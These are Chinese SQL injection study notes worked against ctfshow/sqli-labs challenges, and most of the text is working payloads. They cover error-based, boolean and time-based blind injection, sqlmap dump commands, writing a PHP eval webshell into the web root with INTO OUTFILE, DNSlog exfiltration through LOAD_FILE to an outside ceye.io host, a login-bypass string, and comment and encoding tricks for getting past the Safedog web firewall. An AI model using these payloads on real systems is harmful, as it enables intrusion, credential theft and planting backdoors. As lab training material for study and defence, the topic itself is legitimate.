sql注入

sql注入
达达0x008extractvalue报错注入(只显示32个字符)
3.使用extractvalue查询xml里面的内容
1 | ?id=1' union select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+ |
1 | ?id=1' and 1=select 1,extractvalue(doc,concat(0x7e,(select database()))),3 --+ |
查表名
1 | ?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+ |
查列名
1 | ?id=1' union select 1,extractvalue(doc,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))),3 --+ |
只能返回32个字符串
使用函数substring解决只能返回32个字符串问题
1 | ?id=1' union select 1,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'~',password),25,30) from users))) --+ |
从第25个字符往后再显示30个字符
0x009updatexml报错注入(同样也只显示32个字符)
updatexml()函数
- updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
- updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- 例如: select * from test where id = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
updatexml报错原理
同extractvalue(),输入错误的第二个参数,即更改路径的符号
select updatexml(doc,’/book/auther/surname’,’1’) from xml; 正常句式
select updatexml(doc,’~book/auther/surname’,’1’) from xml; 错误句式
web521(web522是双引号闭合方式)
手动
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) --+ |
daabase() 数据库库名
group_concat() 把查询到的结果合并到一行显示
concat() 合并字符
优先执行括号()里的命令
其他也是改括号里的查询语句了
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),3) --+ |
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,'~',password) from users)),3) --+ |
1 | ?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),30,30) from users)),3) --+ |
显示第30-59个字符
接下来是查找flag 因为flag不在当前数据库
使用select group_concat(schema_name) from information_schema.schemata来列出所有数据库
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),3) --+ |
select group_concat(table_name) from information_schema.tables where table_schema=’ctfshow’查找我们想要查找的那个数据库的表
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')),3) --+ |
查字段
1 | ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck')),3) --+ |
查数据
1 | ?id=1' and updatexml(1,concat(0x7e,(select flag33 from ctfshow.flagpuck)),3) --+ |
只有一半flag 因为updatexml只显示前32个字符
查找32字符后面的字符 ~也算一个字符 所以下面要从32开始查找
1 | ?id=1' and updatexml(1,concat(0x7e,(select substring(group_concat(flag33),32,30) from ctfshow.flagpuck)),3) --+ |
sqlmap
1 | python sqlmap.py -u "http://6c422572-3f9a-4f05-a16a-28b2085ddfa5.challenge.ctf.show/?id=1" |
发现注入类型
1 | python sqlmap.py -u "http://6c422572-3f9a-4f05-a16a-28b2085ddfa5.challenge.ctf.show/?id=1" -dbs |
列出数据库
1 | python sqlmap.py -u "http://6c422572-3f9a-4f05-a16a-28b2085ddfa5.challenge.ctf.show/?id=1" -D 'ctfshow' --tables |
列出表
1 | python sqlmap.py -u "http://6c422572-3f9a-4f05-a16a-28b2085ddfa5.challenge.ctf.show/?id=1" -D 'ctfshow' -T 'flagpuck' --columns |
查字段
查数据
1 | python sqlmap.py -u "http://6c422572-3f9a-4f05-a16a-28b2085ddfa5.challenge.ctf.show/?id=1" -D 'ctfshow' -T 'flagpuck' -C 'flag33' --dump |
0x010 floor报错
rand() | 随机返回0~1之间的小数 |
---|---|
floor() | 小数向下取整数 |
ceiling() | 小数向上取整数 |
concat_ws() | 将括号内数据用第一个字段连接起来 |
as | 别名 |
group by | 分组 |
count() | 汇总统计数量 |
limit | 这里用于显示指定行数 |
完整payload模板:
1 | ?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+ |
上面图片这里的gruop_concat在靶场里不行 因为要输出的数据太长了 可以使用concat拼接 再用limit 一行一行的输出 或者不用写拼接函数 直接使用limit输出也可以
靶场还是用web521 即sqlli的报错注入的靶场
1 | ?id=0' union select 1,count(*),concat_ws('~',(select version()),floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
floor报错查询版本查询成功
下面查询数据库
1 | ?id=0' union select 1,count(*),concat_ws('~',(select concat(schema_name) from information_schema.schemata limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
然后这个显示的是64个字符 且返回一行 可以使用substring和limit进行限制
比如
1 | ?id=0' union select 1,count(*),concat_ws('~',(select schema_name from information_schema.schemata),floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
所以可以使用limit来一行一行的取
1 | ?id=0' union select 1,count(*),concat_ws('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
查表
1 | ?id=0' union select 1,count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema='ctfshow' limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
查字段
1 | ?id=0' union select 1,count(*),concat_ws('~',(select column_name from information_schema.columns where table_schema='ctfshow' and table_name='flagpuck' limit 1,1),floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
查数据
1 | ?id=0' union select 1,count(*),concat_ws('~',(select flag33 from ctfshow.flagpuck),floor(rand(0)*2)) as x from information_schema.tables group by x --+ |
0x011布尔盲注
盲注:页面没用报错回显,不知道数据库具体返回值的情况下,对数据库中的内容进行猜解,实行SQL注入。
盲注分类:布尔盲注,时间盲注,报错盲注
布尔盲注:web页面只返回True真,False假两种类型。
利用页面返回不同,逐个猜解数据
布尔盲注的条件
可以使用ascii()吧查询到的内容转换为数字,以真假页面来判断字母和s对应的数字是否正确
?id=1’ and ascii(‘e’)=101 –+ 真
?id=1’ and ascii(‘e’)=102 –+ 假
ascii只会转换第一个字符 所以我们需要substr((),1,1) 来进行逐个比较
1 | ?id=1' and ascii(substr((select database()),1,1))=115 --+ |
r
如果该字母的十进制是115 就会正常返回You are in…… 不是则无返回
web524是布尔盲注单引号闭合方式的靶场
盲注太麻烦 直接用sqlmap
1 | python sqlmap.py -u "http://e5e64ed9-3317-4c31-a580-46ae74b50fa6.challenge.ctf.show/?id=1" -dbs |
1 | python sqlmap.py -u "http://e5e64ed9-3317-4c31-a580-46ae74b50fa6.challenge.ctf.show/?id=1" -D 'ctfshow' --tables |
1 | python sqlmap.py -u "http://e5e64ed9-3317-4c31-a580-46ae74b50fa6.challenge.ctf.show/?id=1" -D 'ctfshow' -T 'flagjugg' --columns |
1 | python sqlmap.py -u "http://e5e64ed9-3317-4c31-a580-46ae74b50fa6.challenge.ctf.show/?id=1" -D 'ctfshow' -T 'flagjugg' -C 'flag423' --dump |
脚本
1 | import requests |
0x012时间盲注
时间盲注:web页面只返回一个正常页面 利用页面响应时间不同,逐个猜解数据
前提是数据库会执行命令代码,只是不反馈页面信息。
关键函数
函数sleep()参数为休眠时长,以秒为单位,可以为小数
1 | ?id=1' and sleep(3)--+ |
如果是三秒响应时间 证明闭合方式就是 单引号
函数if(condition,true,false) condition为条件,true当条件为真时返回的值,false当条件为假时返回的值
?id=1’ and if(1=2,sleep(0),sleep(3)) –+
1=1为真 执行休眠0秒
?id=1’ and if(1=2,sleep(0),sleep(3)) –+
1=2为假 执行休眠3秒
select if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3));
substr(( ),1,1)从第一个字母开始显示一个字母
1 | ?id=1' and if(ascii(substr((select database()),1,1))>100,sleep(0),sleep(3))--+ |
跟布尔盲注一样 使用二分法进行测试
web525 时间盲注单引号闭合
sqlmap
1 | python sqlmap.py -u "http://93e8c127-4cf2-46f0-81e6-8cc53f5ea517.challenge.ctf.show/?id=1" -dbs |
1 | python sqlmap.py -u "http://663c385d-a014-40ea-a75c-33527f6549c8.challenge.ctf.show/?id=1" -D 'ctfshow' --tables |
1 | python sqlmap.py -u "http://663c385d-a014-40ea-a75c-33527f6549c8.challenge.ctf.show/?id=1" -D 'ctfshow' -T 'flagug' --dump |
脚本
1 | import requests |
web526 时间盲注双引号闭合
判断
1 | ?id=1" and sleep(3)--+ |
脚本
python sqlmap.py -u ‘http://9994cf87-46c1-44a5-baff-58cc7d996604.challenge.ctf.show/?id=1‘ –technique=T –dbms=mysql –time-sec=3 –delay=0 –level=5 –risk=3 –threads=1 –random-agent –tamper=space2comment
1 | python sqlmap.py -u 'http://9994cf87-46c1-44a5-baff-58cc7d996604.challenge.ctf.show/?id=1' -D 'ctfshow' -T 'flagugs' --dump |
脚本
1 | import requests |
0x013sql注入文件上传
mysql文件上传要点
1 | ?id=-1')) union select 1,"<?php @eval($_POST['password'])?>",3 into outfile "/var/www/html/1.php" --+ |
1 | <?php @eval($_POST['password'])?> 为一句话木马 |
password 为预留密码
/var/www/html/为文件路径
1.php 为新插入的文件名
web523Less-7靶场 outfile
再用蚁剑连接
但是似乎是找不到flag
用union写入文件吧
1 | ?id=1')) union select 1,schema_name,3 from information_schema.schemata into outfile '/var/www/html/1.txt' --+ |
1 | ?id=1')) union select 1,table_name,3 from information_schema.tables where table_schema='ctfshow' into outfile '/var/www/html/2.txt' --+ |
1 | ?id=1')) union select 1,column_name,3 from information_schema.columns where table_schema='ctfshow' and table_name='flagdk' into outfile '/var/www/html/3.txt' --+ |
1 | ?id=1')) union select 1,flag43,3 from ctfshow.flagdk into outfile '/var/www/html/4.txt' --+ |
web527 post 注入 单引号
闭合单引号 位数是2
uname passwd注入都可以
1 | uname=1&passwd=1' union select 1,group_concat(schema_name) from information_schema.schemata --+ |
1 | uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow' --+ |
1 | uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsd' --+ |
1 | uname=1&passwd=1' union select 1,flag43s from ctfshow.flagugsd --+ |
sqlmap怎么进行post注入
bp抓包 把请求内容保存到txt文件中
1 | python sqlmap.py -r 1.txt |
也可以
1 | python sqlmap.py -u "http://82f83225-b265-4bb0-81a4-662323efd299.challenge.ctf.show/" --data "uname=1&passwd=1&submit=Submit" |
1 | python sqlmap.py -r 1.txt --dbs |
1 | python sqlmap.py -r 1.txt -D 'ctfshow' --tables |
1 | python sqlmap.py -r 1.txt -D 'ctfshow' -T 'flagugsd' --dump |
0x014DNSlog手动注入
DNSlog外带注入
需要条件:
MySQL 开启 load_file ()
DNSLog 平台 (Hyuga、CEYE)
Windows 平台
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能获取数据库中的值,在现代WAF的防护下很可能导致IP被ban。
我们可以利用内置函数load_file()来完成DNSlog。load_file()不仅能加载本地文件,同时也能对诸如 \www.test.com 这样的URL发起请求。
示例:
SELECT LOAD_FILE(CONCAT(‘\\‘,(SELECT HEX(payload)),’.DNSlog获取的网址\abc’));
条件:
1、SQL盲注、无回显的命令执行、无回显的SSRF
2、只能用于windows系统
3、需要用到mysql中的load_file()函数,在Mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。(不绝对,仅仅只是列举了mysql数据库的函数)
注意:
1、每次最多取63字节
2、DNSlog网址前的 . 必不可少
load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。
其实我们平常在 Widnows 中用共享文件的时候就会用到这种网络地址的形式
\192.168.31.53\test
1
CONCAT() 函数拼接了 4 个 \ 了,因为转义的原因,4 个就变 \ 成了 2 个 \,目的就是利用 UNC 路径。
因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。
首先准备好DNSlog外带平台。
先去phpstudy的MySQL目录下修改配置文件my.ini。记得重启
secure_file_priv=””就是可以load_flie任意磁盘的文件。
原理就是’\‘代表Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。\\转义后就是\
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。
show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
payload:
?id=-1’)) union SELECT LOAD_FILE(CONCAT(‘\\‘,(SELECT HEX(database())),’.m8rwsy.ceye.io\abc’)),2,3–+
可以看到当前数据库名称的十六进制是7365637572697479。解码一下是security,DNSlog注入复现成功!
0x015DNSlog自动化注入
https://github.com/AD000/DnslogSqlinj
还需要在config.py里配置一下API Identifier
pip2 install gevent==1.2.2
pip2 install termcolor
python2 dnslogSql.py -u “http://05c48c6d-1c65-4e01-a593-ca50f053800a.challenge.ctf.show/?id=1‘ and ({}) –+” –dbs
但是我Dnslog外带都没成功 可能是环境问题
后面命令跟sqlmap使用方法一样
0x016POST union注入
get提交有长度限制,最长2048个字符;post提交没有长度要求,不是只允许使用SCII字符,还可以使用二进制数据
万能密钥
admin’ or1=1
Username存在注入点,可以使用post提交注入,用’or’指令绕过密码验证 #对后面进行注释
0x017POST报错注入
0x018POST时间,布尔及DNSLOG盲注
0x019-20HTTP头uagent注入第一部分
页面看不到明显变化,找不到注入点,可以尝试报头注入。
user-agent refer cookie
post注入时,万能密码admin’ or 1=1无法绕过验证,用户名无法注入
通过查看源代码分析页面执行的操作
0x021HTTP头referer注入
0x022HTTP头Cookie注入
0x023sql注入过滤注释符绕过
注释符号的作用 把后面不需要的语句注释掉,保证句子的完整性
常用注释符号
– # %23
?id=1’ and ‘1’=’1 ?id=1’ or ‘1’=’1
0x024 and和or过滤绕过
绕过手法
1.使用大小写绕过
?id=1’ anD 1=1–+
2.复写过滤字符
?id=1’ anandd 1=1–+
3.用&&取代and,用||取代or
?id=1’ && 1=1–+ url编码 %26%26
0x25空格过滤绕过方法
1.使用+号代替空格
2.使用url编码代替空格
spaces %20
TAB 09 horizontal TAB %09
LF OA newline $0A
FF 0C new page %0C
CR 0D carriage %0D
VT 0B vertical TAB %0B
-OA-(MySQL only) %A0
3.使用报错注入
?id=1000’||extractvalue(1,concat(‘~’,(database())))||’1’=’1
没有用到空格
里面查询命令用括号绕过了
0x026逗号过滤join绕过
需求:查询users表用户的email都是多删
1 | select u.*,e.* |
使用join
1 | select u.*e.* |
join绕过逗号限制的原理
1 | 使用join; |
使用join的注入命令
1 | 获取库名 |
1 | 获取表名 |
1 | 获取列名 |
1 | 获取用户名数据 |
1 | 获取密码数据 |
0x027union和select绕过
1.尝试大小写绕过
2.尝试复写单词绕过
3.尝试报错注入
?id=1000’||updatexml(1,concat(‘~’,(database())),0)or’1’=’1
4.尝试URL编码绕过
有一种过滤是过滤相连的union select,使用union%0Aselect可以绕过
0x028宽字节绕过
函数addslashes()
addslashes()函数在指定的预定义字符前添加反斜杠。这些字符是单引号(‘),双引号(“),反斜线(\) 与 NULL(NULL字符)。
转义,例如在单引号’前加反斜线”\“,则会转义没有功能性的字符” ‘ “
当写入或查询用户名” 1’ “时,数据库会识别单引号’为闭合符号,要求再输入一个单引号将其闭合,只查询”1”而没办法查询” 1’ “
如果输入” 1\‘ “,\使’失去闭合符的功能,则数据库会识别为” 1’ “
GBKB编码
0x029安全狗4.0.26550绕过思路
1 | /*!90000b*/绕过 |
1 | ?id=1 and /*benben/ 1=1 /*benben/是不执行的 |
1 | ?id=1 and /!*benben/ 1=1 /!*benben/执行 |
1 | ?id=1 and /*!90000*benben/ 1=1 版本不到90000的都不执行 |
?id=1 ^1^0 ?id=1 ^1^1 回显一样 判断为字符型
?id=1’ group by 3 –+
union select 被过滤
在union select里插入注释
1 | union /*!90000benben*/ select |
总之就是一些函数被过滤 就适当插入
1 | /*!90000benben*/ |
0x030安全狗3.5.12048绕过
?id=2 ^1^0 ?id=2 ^0^0 结果一样 都可以回显 可以判断出来是字符型注入
?id=1’ ^1^0 –+ 报错无回显 ?id=1’ ^1^1 –+ 正常回显 判断单引号闭合
?id=-1’ union –+b%0A select 1,2,3 –+相当于
1 | -1' union --+b |
部分环境也可以成功查询
select from 在一起 from后面不能有任何字符
select from 之间也用注释符加换行符隔开
?id=-1’ union –+b%0A select 1,2,database() –+b%0A from –+
该安全狗里还不能出现information_schema
使用 sys.schema_table_statistics_with_buffer 表 或者 sys.x$ps_schema_table_statistics_io
?id=-1’ union –+b%0A select 1,2,group_concat(table_name) –+b%0A from sys.schema_table_statistics_with_buffer–+
?id=-1’ union –+b%0A select 1,2,database() –+b%0A from sys.schema_table_statistics_with_buffer where table_schema=’security’–+
0x031安全狗3.5绕过join无列名报错
?id=1’ union –+b%0a select *from (select * from users as a join users as b)c –+
?id=1’ union –+b%0a select *from (select * from users as a join users as b using(id,username) )c –+
?id=1’ union –+b%0a select group_concat(username,password) –+
?id=-1’ union –+b%0a select 1,2,group_concat(username,password) –+b%0a from users–+
0x032安全狗3.5超大数据包绕过
1 | import requests |